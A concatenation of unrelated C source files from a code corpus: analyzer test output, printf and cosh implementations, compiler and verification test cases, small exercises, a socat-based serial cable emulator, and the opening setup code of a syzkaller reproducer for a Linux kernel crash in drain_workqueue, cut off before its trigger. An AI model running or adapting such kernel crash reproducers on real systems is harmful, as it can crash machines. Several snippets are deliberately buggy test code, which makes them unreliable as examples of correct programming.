// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>kind</key><string>event</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <key>ranges</key>
// CHECK-NEXT: <array>
// CHECK-NEXT: <array>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>3</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>9</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>depth</key><integer>0</integer>
// CHECK-NEXT: <key>extended_message</key>
// CHECK-NEXT: <string>Dereference of null pointer</string>
// CHECK-NEXT: <key>message</key>
// CHECK-NEXT: <string>Dereference of null pointer</string>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
// CHECK-NEXT: <key>description</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>category</key><string>Logic error</string>
// CHECK-NEXT: <key>type</key><string>Dereference of null pointer</string>
// CHECK-NEXT: <key>check_name</key><string>core.NullDereference</string>
// CHECK-NEXT: <!-- This hash is experimental and going to change! -->
// CHECK-NEXT: <key>issue_hash_content_of_line_in_context</key><string>19292468c6c6f83fbbdb2ff072bb2ae8</string>
// CHECK-NEXT: <key>issue_context_kind</key><string>function</string>
// CHECK-NEXT: <key>issue_context</key><string>test4</string>
// CHECK-NEXT: <key>issue_hash_function_offset</key><string>3</string>
// CHECK-NEXT: <key>location</key>
// CHECK-NEXT: <dict>
// CHECK-NEXT: <key>line</key><integer>139</integer>
// CHECK-NEXT: <key>col</key><integer>7</integer>
// CHECK-NEXT: <key>file</key><integer>0</integer>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </dict>
// CHECK-NEXT: </array>
|
the_stack_data/19567.c | /* The proper declaration of printf is
* int printf(char *fmt, ...)
*
* Here we will implement minprintf
* created by Anvesh G. Jhuboo
* on Feb/18/2021
*/
#include <stdio.h>
#include <stdarg.h>
/* minprintf: minimal printf with variable argument list */
void minprintf(char *fmt, ...)
{
va_list ap; /* points to each unnamed arg in turn */
char *p, *sval;
int ival;
double dval;
unsigned uval;
void *pval;
va_start(ap, fmt); /* make ap point to 1st unnamed arg */
for (p = fmt; *p; p++) {
if (*p != '%') {
putchar(*p);
continue;
}
switch (*++p) {
case 'c':
ival = va_arg(ap, int);
putchar(ival);
break;
case 'd': case 'i':
ival = va_arg(ap, int);
printf("%d", ival);
break;
case 'o':
uval = va_arg(ap, unsigned int);
printf("%o", uval);
break;
case 'x': case 'X':
uval = va_arg(ap, unsigned int);
printf("%x", uval);
break;
case 'u':
uval = va_arg(ap, unsigned int);
printf("%u", uval);
break;
case 'f':
dval = va_arg(ap, double);
printf("%f", dval);
break;
case 'e': case 'E':
dval = va_arg(ap, double);
printf("%e", dval);
break;
case 'g': case 'G':
dval = va_arg(ap, double);
printf("%g", dval);
break;
case 's':
for (sval = va_arg(ap, char *); *sval; sval++)
putchar(*sval);
break;
case 'p':
pval = va_arg(ap, void *);
printf("%p", pval);
break;
default:
putchar(*p);
break;
}
}
va_end(ap); /* clean up when done */
}
|
the_stack_data/136790.c | /*
* POK header
*
* The following file is a part of the POK project. Any modification should
* be made according to the POK licence. You CANNOT use this file or a part
* of a file for your own project.
*
* For more information on the POK licence, please see our LICENCE FILE
*
* Please follow the coding guidelines described in doc/CODING_GUIDELINES
*
* Copyright (c) 2007-2022 POK team
*/
/* @(#)e_cosh.c 5.1 93/09/24 */
/*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*/
/* __ieee754_cosh(x)
* Method :
* mathematically cosh(x) if defined to be (exp(x)+exp(-x))/2
* 1. Replace x by |x| (cosh(x) = cosh(-x)).
* 2.
* [ exp(x) - 1 ]^2
* 0 <= x <= ln2/2 : cosh(x) := 1 + -------------------
* 2*exp(x)
*
* exp(x) + 1/exp(x)
* ln2/2 <= x <= 22 : cosh(x) := -------------------
* 2
* 22 <= x <= lnovft : cosh(x) := exp(x)/2
* lnovft <= x <= ln2ovft: cosh(x) := exp(x/2)/2 * exp(x/2)
* ln2ovft < x : cosh(x) := huge*huge (overflow)
*
* Special cases:
* cosh(x) is |x| if x is +INF, -INF, or NaN.
* only cosh(0)=1 is exact for finite x.
*/
#ifdef POK_NEEDS_LIBMATH
#include "math_private.h"
#include <libm.h>
static const double one = 1.0, half = 0.5, huge = 1.0e300;
double __ieee754_cosh(double x) {
double t, w;
int32_t ix;
uint32_t lx;
/* High word of |x|. */
GET_HIGH_WORD(ix, x);
ix &= 0x7fffffff;
/* x is INF or NaN */
if (ix >= 0x7ff00000)
return x * x;
/* |x| in [0,0.5*ln2], return 1+expm1(|x|)^2/(2*exp(|x|)) */
if (ix < 0x3fd62e43) {
t = expm1(fabs(x));
w = one + t;
if (ix < 0x3c800000)
return w; /* cosh(tiny) = 1 */
return one + (t * t) / (w + w);
}
/* |x| in [0.5*ln2,22], return (exp(|x|)+1/exp(|x|)/2; */
if (ix < 0x40360000) {
t = __ieee754_exp(fabs(x));
return half * t + half / t;
}
/* |x| in [22, log(maxdouble)] return half*exp(|x|) */
if (ix < 0x40862E42)
return half * __ieee754_exp(fabs(x));
/* |x| in [log(maxdouble), overflowthresold] */
GET_LOW_WORD(lx, x);
if (ix < 0x408633CE || ((ix == 0x408633ce) && (lx <= (uint32_t)0x8fb9f87d))) {
w = __ieee754_exp(half * fabs(x));
t = half * w;
return t * w;
}
/* |x| > overflowthresold, cosh(x) overflow */
return huge * huge;
}
#endif
|
the_stack_data/247017316.c | /* PR middle-end/61486 */
/* { dg-do compile } */
/* { dg-options "-fopenmp" } */
int
foo (int *a)
{
int i, j = 0;
#pragma omp target teams distribute simd linear(i) map(a[:10])
for (i = 0; i < 10; i++)
a[i] = j;
return i;
}
|
the_stack_data/351284.c | // This file is part of the SV-Benchmarks collection of verification tasks:
// https://github.com/sosy-lab/sv-benchmarks
//
// SPDX-FileCopyrightText: 2011-2020 The SV-Benchmarks community
// SPDX-FileCopyrightText: The ESBMC project
//
// SPDX-License-Identifier: Apache-2.0
extern int __VERIFIER_nondet_int(void);
extern void abort(void);
#include <assert.h>
void reach_error() { assert(0); }
#include <pthread.h>
#include <stdio.h>
#include <assert.h>
#define SIZE (20)
#define EMPTY (-1)
#define FULL (-2)
#define FALSE (0)
#define TRUE (1)
typedef struct {
int element[SIZE];
int head;
int tail;
int amount;
} QType;
pthread_mutex_t m;
int __VERIFIER_nondet_int();
int stored_elements[SIZE];
_Bool enqueue_flag, dequeue_flag;
QType queue;
void init(QType *q)
{
q->head=0;
q->tail=0;
q->amount=0;
}
int empty(QType * q)
{
if (q->head == q->tail)
{
printf("queue is empty\n");
return EMPTY;
}
else
return 0;
}
int full(QType * q)
{
if (q->amount == SIZE)
{
printf("queue is full\n");
return FULL;
}
else
return 0;
}
int enqueue(QType *q, int x)
{
q->element[q->tail] = x;
q->amount++;
if (q->tail == SIZE)
{
q->tail = 1;
}
else
{
q->tail++;
}
return 0;
}
int dequeue(QType *q)
{
int x;
x = q->element[q->head];
q->amount--;
if (q->head == SIZE)
{
q->head = 1;
}
else
q->head++;
return x;
}
void *t1(void *arg)
{
int value, i;
pthread_mutex_lock(&m);
value = __VERIFIER_nondet_int();
if (enqueue(&queue,value)) {
goto ERROR;
}
stored_elements[0]=value;
if (empty(&queue)) {
goto ERROR;
}
pthread_mutex_unlock(&m);
for(i=0; i<(SIZE-1); i++)
{
pthread_mutex_lock(&m);
if (enqueue_flag)
{
value = __VERIFIER_nondet_int();
enqueue(&queue,value);
stored_elements[i+1]=value;
enqueue_flag=FALSE;
dequeue_flag=TRUE;
}
pthread_mutex_unlock(&m);
}
return NULL;
ERROR: {reach_error();abort();}
}
void *t2(void *arg)
{
int i;
for(i=0; i<SIZE; i++)
{
pthread_mutex_lock(&m);
if (dequeue_flag)
{
if (!dequeue(&queue)==stored_elements[i]) {
ERROR: {reach_error();abort();}
}
dequeue_flag=FALSE;
enqueue_flag=TRUE;
}
pthread_mutex_unlock(&m);
}
return NULL;
}
int main(void)
{
pthread_t id1, id2;
enqueue_flag=TRUE;
dequeue_flag=FALSE;
init(&queue);
if (!empty(&queue)==EMPTY) {
ERROR: {reach_error();abort();}
goto ERROR;
}
pthread_mutex_init(&m, 0);
pthread_create(&id1, NULL, t1, &queue);
pthread_create(&id2, NULL, t2, &queue);
pthread_join(id1, NULL);
pthread_join(id2, NULL);
return 0;
}
|
the_stack_data/14201209.c | #define _GNU_SOURCE
#include <unistd.h>
#include <errno.h>
#include "syscall.h"
int sethostname(const char *name, size_t len)
{
#ifndef PS4
return syscall(SYS_sethostname, name, len);
#else
errno = ENOSYS;
return -1;
#endif
}
|
the_stack_data/212644484.c | #include<stdio.h>
void main(){
int d1,m1,a1;
int d2,m2,a2;
printf("--- Data 1 ---\n");
printf("Informe o dia: ");
scanf("%d", &d1);
printf("Informe o mes: ");
scanf("%d", &m1);
printf("Informe o ano: ");
scanf("%d", &a1);
printf("--- Data 2 ---\n");
printf("Informe o dia: ");
scanf("%d", &d2);
printf("Informe o mes: ");
scanf("%d", &m2);
printf("Informe o ano: ");
scanf("%d", &a2);
if(a1 < a2){
printf("Maior data: %d/%d/%d\n", d2,m2,a2);
printf("Menor data: %d/%d/%d\n", d1,m1,a1);
}else if(a2 < a1){
printf("Maior data: %d/%d/%d\n", d1,m1,a1);
printf("Menor data: %d/%d/%d\n", d2,m2,a2);
}else if(a1 == a2){
if(m1 > m2){
printf("Maior data: %d/%d/%d\n", d1,m1,a1);
printf("Menor data: %d/%d/%d\n", d2,m2,a2);
}else if(m2 > m1){
printf("Maior data: %d/%d/%d\n", d2,m2,a2);
printf("Menor data: %d/%d/%d\n", d1,m1,a1);
}else if(m1 == m2){
if(d1 > d2){
printf("Maior data: %d/%d/%d\n", d1,m1,a1);
printf("Menor data: %d/%d/%d\n", d2,m2,a2);
}else if(d2 > d1){
printf("Maior data: %d/%d/%d\n", d2,m2,a2);
printf("Menor data: %d/%d/%d\n", d1,m1,a1);
}else if(d2 == d1){
printf("Datas iguais!\n");
}
}
}
}
|
the_stack_data/206393825.c | /* PR target/11087
This testcase was miscompiled on ppc64, because basic_induction_var called
convert_modes, yet did not expect it to emit any new instructions.
Those were emitted at the end of the function and destroyed during life
analysis, while the program used uninitialized pseudos created by
convert_modes. */
struct A
{
unsigned short a1;
unsigned long a2;
};
struct B
{
int b1, b2, b3, b4, b5;
};
struct C
{
struct B c1[1];
int c2, c3;
};
static
int foo (int x)
{
return x < 0 ? -x : x;
}
int bar (struct C *x, struct A *y)
{
int a = x->c3;
const int b = y->a1 >> 9;
const unsigned long c = y->a2;
int d = a;
unsigned long e, f;
f = foo (c - x->c1[d].b4);
do
{
if (d <= 0)
d = x->c2;
d--;
e = foo (c-x->c1[d].b4);
if (e < f)
a = d;
}
while (d != x->c3);
x->c1[a].b4 = c + b;
return a;
}
int
main ()
{
struct A a;
struct C b;
int c;
a.a1 = 512;
a.a2 = 4242;
__builtin_memset (&b, 0, sizeof (b));
b.c1[0].b3 = 424242;
b.c2 = 1;
c = bar (&b, &a);
return 0;
}
|
the_stack_data/150144483.c | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main ()
{
int size=50;
char* src= malloc (size);
if (src==NULL)
{
printf (" src can't be created;The system is ran out of memory :\n" );
return (0);
}
char* dest= malloc (size);
if (dest==NULL)
{
printf (" dest can't be created;The system is ran out of memory :\n" );
return (0);
}
FILE *fp;
fp=fopen("sample.txt","r");
if (fp == NULL)
printf("ERROR!");
fread(src,sizeof(char),size ,fp);
fclose (fp);
printf("The content of input file is: %s\n", src);
int i;
memmove(dest, src,50);
printf("The content of buffer is: %s\n", dest);
fp=fopen("output.txt","w");
if (fp != NULL)
fwrite(dest,sizeof(char),size ,fp);
fclose (fp);
char ch;
fopen("output.txt","r");
printf (" the content of OUTPUT file is :\n" );
ch = fgetc(fp);
while(ch != EOF)
{
printf("%c", ch);
ch = fgetc(fp);
}
fclose (fp);
free(src);
free(dest);
return(0);
}
|
the_stack_data/56863.c | #include <stdio.h>
#include <limits.h>
int main(){
int v; //value
int s; //sign
//general
v=-1;
s=-(v<0); //if v<0 then -1 else 0
printf("%d\n",s);
v=0;
s=-(v<0); //if v<0 then -1 else 0
printf("%d\n",s);
v=1;
s=-(v<0); //if v<0 then -1 else 0
printf("%d\n",s);
//without branching
v=-1;
s=-(int)((unsigned int)((int)v)>>(sizeof(int)*CHAR_BIT-1));
printf("%d\n",s);
v=0;
s=-(int)((unsigned int)((int)v)>>(sizeof(int)*CHAR_BIT-1));
printf("%d\n",s);
v=1;
s=-(int)((unsigned int)((int)v)>>(sizeof(int)*CHAR_BIT-1));
printf("%d\n",s);
//faster without portability
v=-1;
s=v>>(sizeof(int)*CHAR_BIT-1);
printf("%d\n",s);
v=0;
s=v>>(sizeof(int)*CHAR_BIT-1);
printf("%d\n",s);
v=1;
s=v>>(sizeof(int)*CHAR_BIT-1);
printf("%d\n",s);
return 0;
} |
the_stack_data/478141.c | /*Non-Canonical Input Processing*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <termios.h>
#include <stdio.h>
#include <unistd.h>
#define BAUDRATE B38400
#define _POSIX_SOURCE 1 /* POSIX compliant source */
#define FALSE 0
#define TRUE 1
volatile int STOP=FALSE;
int main(int argc, char** argv)
{
printf("\n");
system("socat -d -d PTY,link=/dev/ttyS10,mode=777 PTY,link=/dev/emulatorTx,mode=777 &");
sleep(1);
printf("\n");
system("socat -d -d PTY,link=/dev/ttyS11,mode=777 PTY,link=/dev/emulatorRx,mode=777 &");
sleep(1);
printf( "\n \n"
"Transmitter must open /dev/ttyS10 \n"
"Receiver must open /dev/ttyS11 \n \n"
"The cable program is sensible to the following interative commands:\n"
"--- on : connects the cable and data is exchanged (default state)\n"
"--- off : disconnects the cable disabling data to be exchanged\n"
"--- end : terminates de program \n \n" );
int fdTx;
struct termios oldtioTx,newtioTx;
fdTx = open("/dev/emulatorTx", O_RDWR | O_NOCTTY );
if (fdTx <0) {perror("/dev/emulatorTx"); exit(-1); }
if ( tcgetattr(fdTx,&oldtioTx) == -1) { /* save current port settings */
perror("tcgetattr");
exit(-1);
}
bzero(&newtioTx, sizeof(newtioTx));
newtioTx.c_cflag = BAUDRATE | CS8 | CLOCAL | CREAD;
newtioTx.c_iflag = IGNPAR;
newtioTx.c_oflag = 0;
newtioTx.c_lflag = 0;
newtioTx.c_cc[VTIME] = 1; /* inter-character timer unused */
newtioTx.c_cc[VMIN] = 0; /* blocking read until 5 chars received */
tcflush(fdTx, TCIOFLUSH);
if ( tcsetattr(fdTx,TCSANOW,&newtioTx) == -1) {
perror("tcsetattr");
exit(-1);
}
printf("cable\n");
int fdRx;
struct termios oldtioRx,newtioRx;
fdRx = open("/dev/emulatorRx", O_RDWR | O_NOCTTY );
if (fdRx <0) {perror("/dev/emulatorRx"); exit(-1); }
if ( tcgetattr(fdRx,&oldtioRx) == -1) { /* save current port settings */
perror("tcgetattr");
exit(-1);
}
bzero(&newtioRx, sizeof(newtioRx));
newtioRx.c_cflag = BAUDRATE | CS8 | CLOCAL | CREAD;
newtioRx.c_iflag = IGNPAR;
newtioRx.c_oflag = 0;
newtioRx.c_lflag = 0;
newtioRx.c_cc[VTIME] = 1; /* inter-character timer unused */
newtioRx.c_cc[VMIN] = 0; /* blocking read until 5 chars received */
tcflush(fdRx, TCIOFLUSH);
if ( tcsetattr(fdRx,TCSANOW,&newtioRx) == -1) {
perror("tcsetattr");
exit(-1);
}
int oldf;
oldf = fcntl(STDIN_FILENO, F_GETFL, 0);
fcntl(STDIN_FILENO, F_SETFL, oldf | O_NONBLOCK);
unsigned char tx2rx[512];
unsigned char rx2tx[512];
unsigned char rxStdin[512];
int fromTx, toRx;
int fromRx, toTx;
int fromStdin;
int connection=100;
while (STOP==FALSE) {
fromTx = read(fdTx,tx2rx,512);
if(fromTx){
if(connection){
if (connection == 200) {
tx2rx[0] = tx2rx[0] ^ 0xFF;
}
toRx=write(fdRx,tx2rx,fromTx);
printf("fromTx=%d > toRx= %d \n", fromTx, toRx);
fromTx=0;
toRx=0;
} else {
printf("fromTx=%d > toRx= CONNECTION OFF \n", fromTx);
fromTx=0;
toRx=0;
}
}
fromRx = read(fdRx,rx2tx,512);
if(fromRx){
if(connection){
if (connection == 200) {
rx2tx[0] = rx2tx[0] ^ 0xFF;
}
toTx=write(fdTx,rx2tx,fromRx);
printf("toTx= %d < fromRx=%d \n", toTx, fromRx);
fromRx=0;
toTx=0;
} else {
printf("toTx= CONNECTION OFF < fromRx=%d \n", fromRx);
fromRx=0;
toTx=0;
}
}
fromStdin=read(STDIN_FILENO, rxStdin, 512);
if(fromStdin>0){
rxStdin[fromStdin-1]=0;
if (strcmp(rxStdin, "off")==0 || strcmp(rxStdin, "0")==0 ) {
connection=0;
printf("CONNECTION OFF\n");
}
if (strcmp(rxStdin, "on")==0 || strcmp(rxStdin, "1")==0) {
connection=100;
printf("CONNECTION ON\n");
}
if (strcmp(rxStdin, "noise")==0 || strcmp(rxStdin, "2")==0) {
connection=200;
printf("CONNECTION NOISE\n");
}
if (strcmp(rxStdin, "end")==0 ) {
printf("END OF THE PROGRAM\n");
STOP=TRUE;
}
}
}
if( tcsetattr(fdRx,TCSANOW,&oldtioRx)==-1){;
perror("tcsetattr");
exit(-1);
}
if( tcsetattr(fdTx,TCSANOW,&oldtioTx)==-1){;
perror("tcsetattr");
exit(-1);
}
//fclose(fdTx);
//fclose(fdRx);
//fclose(STDIN_FILENO);
system("killall socat");
return 0;
}
|
the_stack_data/137418.c | #include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <time.h>
//phases_1-2.c
int main(int argc, char** argv)
{
int x = 0;
int while_counter_1 = 0;
while (while_counter_1 < 50)
{
printf("%d , %d , %d , %d \n", 1, while_counter_1++, 1, x);
if (!(x < 0x0fffffff)) break;
if (x < 0xfff1)
{
x++;
}
else
{
x += 2;
}
}
assert((x % 2) == 0);
}
|
the_stack_data/28263255.c | #include<stdio.h>
int main()
{
int m;
scanf("%d",&m);
int flag;
if ( m == 1 )
{
printf("1\n");
return 0;
}
flag = 1 + m/2;
printf("%d\n",flag);
}
|
the_stack_data/98575262.c | // general protection fault in drain_workqueue
// https://syzkaller.appspot.com/bug?id=4a4b04b94b33e7d1de6f1213355499ab529a3018
// status:open
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/futex.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/usb/ch9.h>
#include <linux/veth.h>
unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED) &&
(addr < prog_start || addr > prog_end)) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
{ \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
}
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i;
for (i = 0; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_RELAXED))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static struct {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[1024];
} nlmsg;
static void netlink_init(int typ, int flags, const void* data, int size)
{
memset(&nlmsg, 0, sizeof(nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg.buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg.pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(int typ, const void* data, int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg.pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
memcpy(attr + 1, data, size);
nlmsg.pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg.pos;
attr->nla_type = typ;
nlmsg.pos += sizeof(*attr);
nlmsg.nested[nlmsg.nesting++] = attr;
}
static void netlink_done(void)
{
struct nlattr* attr = nlmsg.nested[--nlmsg.nesting];
attr->nla_len = nlmsg.pos - (char*)attr;
}
static int netlink_send(int sock)
{
if (nlmsg.pos > nlmsg.buf + sizeof(nlmsg.buf) || nlmsg.nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg.buf;
hdr->nlmsg_len = nlmsg.pos - nlmsg.buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
unsigned n = sendto(sock, nlmsg.buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != hdr->nlmsg_len)
exit(1);
n = recv(sock, nlmsg.buf, sizeof(nlmsg.buf), 0);
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static void netlink_add_device_impl(const char* type, const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr));
if (name)
netlink_attr(IFLA_IFNAME, name, strlen(name));
netlink_nest(IFLA_LINKINFO);
netlink_attr(IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(int sock, const char* type, const char* name)
{
netlink_add_device_impl(type, name);
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_add_veth(int sock, const char* name, const char* peer)
{
netlink_add_device_impl("veth", name);
netlink_nest(IFLA_INFO_DATA);
netlink_nest(VETH_INFO_PEER);
nlmsg.pos += sizeof(struct ifinfomsg);
netlink_attr(IFLA_IFNAME, peer, strlen(peer));
netlink_done();
netlink_done();
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_add_hsr(int sock, const char* name, const char* slave1,
const char* slave2)
{
netlink_add_device_impl("hsr", name);
netlink_nest(IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done();
netlink_done();
int err = netlink_send(sock);
(void)err;
}
static void netlink_device_change(int sock, const char* name, bool up,
const char* master, const void* mac,
int macsize)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
netlink_init(RTM_NEWLINK, 0, &hdr, sizeof(hdr));
netlink_attr(IFLA_IFNAME, name, strlen(name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(IFLA_ADDRESS, mac, macsize);
int err = netlink_send(sock);
(void)err;
}
static int netlink_add_addr(int sock, const char* dev, const void* addr,
int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr));
netlink_attr(IFA_LOCAL, addr, addrsize);
netlink_attr(IFA_ADDRESS, addr, addrsize);
return netlink_send(sock);
}
static void netlink_add_addr4(int sock, const char* dev, const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(sock, dev, &in_addr, sizeof(in_addr));
(void)err;
}
static void netlink_add_addr6(int sock, const char* dev, const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(sock, dev, &in6_addr, sizeof(in6_addr));
(void)err;
}
static void netlink_add_neigh(int sock, const char* name, const void* addr,
int addrsize, const void* mac, int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr));
netlink_attr(NDA_DST, addr, addrsize);
netlink_attr(NDA_LLADDR, mac, macsize);
int err = netlink_send(sock);
(void)err;
}
static int tunfd = -1;
static int tun_frags_enabled;
#define SYZ_TUN_MAX_PACKET_SIZE 1000
#define TUN_IFACE "syz_tun"
